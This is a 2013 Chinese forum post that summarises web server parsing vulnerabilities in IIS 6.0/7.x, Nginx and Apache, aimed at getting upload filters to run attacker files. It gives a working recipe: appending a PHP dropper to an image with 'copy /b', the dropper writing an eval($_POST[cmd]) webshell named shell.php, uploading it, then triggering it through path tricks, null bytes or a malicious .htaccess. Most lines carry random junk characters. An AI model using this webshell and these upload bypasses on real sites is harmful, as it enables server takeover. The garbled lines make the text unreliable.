找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2539|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain4 J* G) `0 P4 h- _
[+]IIS6.0
) T7 K- _. B9 K+ E! Q, k& a- H+ _ 7 p' w" I: C& L
目录解析:/xx.asp/xx.jpg
3 W) A; t) y7 o1 J7 l, Q xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
' r% R) W; u7 t' ? IIS6.0 会将 xx.jpg 解析为 asp 文件。
* _1 Y0 l) X8 j0 m( U" [) H后缀解析:/xx.asp;.jpg     
7 b5 _+ j3 i- r: x6 c- j1 ~ IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
) y; m0 [2 T) o& w) h$ h默认解析:/xx.asa) L; ?: c0 g5 s
         /xx.cer
+ m" Y. R! P3 W+ f% |( ~         /xx.cdx* [6 V" x( X) z4 Q6 s$ I
IIS6.0 默认的可执行文件除了 asp 还包含这三种# s" ^; }! g8 q+ O
此处可联系利用目录解析漏洞
8 ^5 E+ Z' G/ j- Z$ j' V5 t/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg6 a3 L( l6 Q$ S/ P0 R' }- L" f
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03! O4 l+ ~- F9 {& B9 }. Z, x- E
% f: J5 A" z5 P' o( K+ `8 R7 [
IIS 7.0/IIS 7.5/Nginx <0.8.03+ G) R! S- ?+ I! C4 z6 w- u1 k
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
0 p9 v" h4 ]( z  y 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
$ T- E$ |0 r) Y; C/ `4 B! {. Z! }  P& ? 常用利用方法:
+ `- ^: a: Z( }) d 将一张图和一个写入后门代码的文本文件合并将恶意文本
% W$ O* H0 r$ l+ G9 \ 写入图片的二进制代码之后,避免破坏图片文件头和尾
) M& G7 V5 r# h- _9 \# J5 f 如:
2 F: h  b1 B5 N5 v' T5 P/ M copy xx.jpg /b + yy.txt/a xy.jpg" d/ a: y6 H, }* |" r( J2 O
#########################################################! Z: D/ V* E3 W; q( t/ u
/b 即二进制[binary]模式3 ~+ B! s- v) o7 B
/a 即ascii模式
: n+ Z) }5 Z# T8 [5 t, _ xx.jpg 正常图片文件/ p. @/ n' d  Y7 N/ r/ x$ h
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),+ o. k8 I7 z* Y- d- G
'<?php eval($_POST[cmd])?>');?>
+ D0 w, L9 v) n6 q  i9 w 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
  H4 U' d$ a8 ~9 X: [ 为shell.php的文件
9 D; O" J' r5 ` ###########################################################& U" f! Z- ]' q0 f; U( ~6 b
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php / C9 f& a) D$ f: j- }2 z; _/ V, o
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ) S! u/ {8 I$ T  f8 F0 r; x
密码 cmd: i, A- {- }5 ]6 G/ J# n+ a& z" a
[+]Nginx <0.8.03
  q  I5 {" E# l3 b' v
1 M+ A1 \2 z! P, u$ H 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞2 M+ F" F: L0 m
在一个文件路径(/xx.jpg)后面加上%00.php/ x; U8 H+ \$ u& s% u% c8 E
会将 /xx.jpg%00.php 解析为 php 文件。
& ], b" `! V- F& }& s[+]Apache<0.8.035 W9 L- Q+ T4 k1 G. q1 Y

) h  ?& k3 Y: d: D1 { 后缀解析:test.php.x1.x2.x33 `7 X  K5 d$ k  ^' h, `- n9 z/ p
Apache将从右至左开始判断后缀,若x3非可识别后缀,
0 s9 |7 @8 s9 X; j2 |* R/ o 再判断x2,直到找到可识别后缀为止,然后将该可识别
' s/ D; `' T, q4 o: z0 V 后缀进解析test.php.x1.x2.x3 则会被解析为php0 p2 @+ U- U6 b; w+ ~
经验之谈:php|php3|phtml 多可被Apache解析。) B3 u+ Y2 J8 O1 ^1 G
[+]其他一些可利用的% K* K3 C: m3 n4 N+ x* B: k

0 o+ w+ }+ N0 d0 N( _* X在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的. f# \" `  c' H9 k7 n
若这样命名,windows会默认除去空格或点,这也是可以被利用的!4 ^3 y& d$ I4 e1 g  S$ k
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格4 R3 e/ J1 x' n' U/ V
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
& ~; Y# o" Z- c, X4 o  r得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。# f. h7 a( [9 Z4 C# \0 |. c% O
{Linux主机中不行,Linux允许这类文件存在}
' d% {$ u- v5 ]6 @如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
7 _2 i) _3 C: P; W6 Q5 C! {. u的,当初我并不知道),且可以被上传,那可以尝试在8 Y1 f2 [2 X4 Y+ ~5 ~; s4 P, V" [# Z
.htaccess中写入:
8 G6 C+ n3 a& v# ^<FilesMatch “shell.jpg”>
& Q: s  j2 C4 }- [* o2 q: \SetHandler application/x-httpd-php % P. z- K1 a! Z4 n
</FilesMatch>+ |, G$ P$ V! B
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
! H- Z5 V) W! w& M) h[+]错误修改( u; N. C- \1 h2 \
: s5 Y. W0 A8 v8 S) ~6 G* M5 t
在 IIS 6.0 下可解析 /xx.asp:.jpg
/ ^( A  Z0 X" c7 d# N% A1 i{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去7 j! Q5 p% b! j2 j7 ?' n" C) q- V6 e
剩下/xx.asp}修改:9 m$ i7 B& D9 Q4 M( X
先谢谢核攻击的提醒
& S0 K! A. J+ L当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp3 _: H3 j3 J" w% ~' r2 |, X. C6 p
里是没有任何内容的,因为。。不好解释 大家自己看; I0 Z% ~# \- U/ L. \  h
http://lcx.cc/?i=2448
: p& ?- I- Y0 v/ n! R/ H  lhttp://baike.baidu.com/view/3619593.htm) x0 l8 N% y/ c$ F

  V& w5 a! z& H1 ]2 @; T; G! u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表